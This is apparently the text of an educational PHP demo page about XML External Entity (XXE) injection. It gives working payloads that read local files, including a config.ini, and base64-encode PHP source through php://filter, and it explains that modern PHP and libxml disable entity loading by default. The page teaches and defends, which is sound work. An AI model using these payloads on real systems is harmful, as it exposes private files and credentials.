To get a contents of file.txt
:
<!DOCTYPE root [ <!ENTITY foo SYSTEM "file.txt"> ]> <xml>&foo;</xml>
To get a contents of config/config.ini
:
<!DOCTYPE root [ <!ENTITY foo SYSTEM "config/config.ini"> ]> <xml>&foo;</xml>
To get a contents of this PHP file (won't work because most PHP can't be parsed as XML):
<!DOCTYPE root [ <!ENTITY foo SYSTEM "index.php"> ]> <xml>&foo;</xml>
To get a contents of this PHP file as a Base64-encoded string (this time for real):
<!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <xml>&foo;</xml>
The predefined entities will always work regardless if you want to substitute external entities or not:
<xml>" & ' > <</xml>
Starting with PHP 8.0 (this demo is running on 8.3.13), the minimum required libxml version is 2.9.0 (this demo uses 2.9.14) which means that external entity loading is now guaranteed to be disabled by default, and no extra steps need to be taken to protect against XXE attacks. This is the same behavior you get when you leave the Substitute entities checkbox unchecked.
Before PHP 8.0, you had to call libxml_disable_entity_loader()
to make sure the loader is disabled.
When checked, the checkbox above simulates the older defaults where entities were substituted, demostrating the XXE (XML External Entity Injection) attack. The simulation is done by passing LIBXML_NOENT
option to the XML parser, don't try this at home!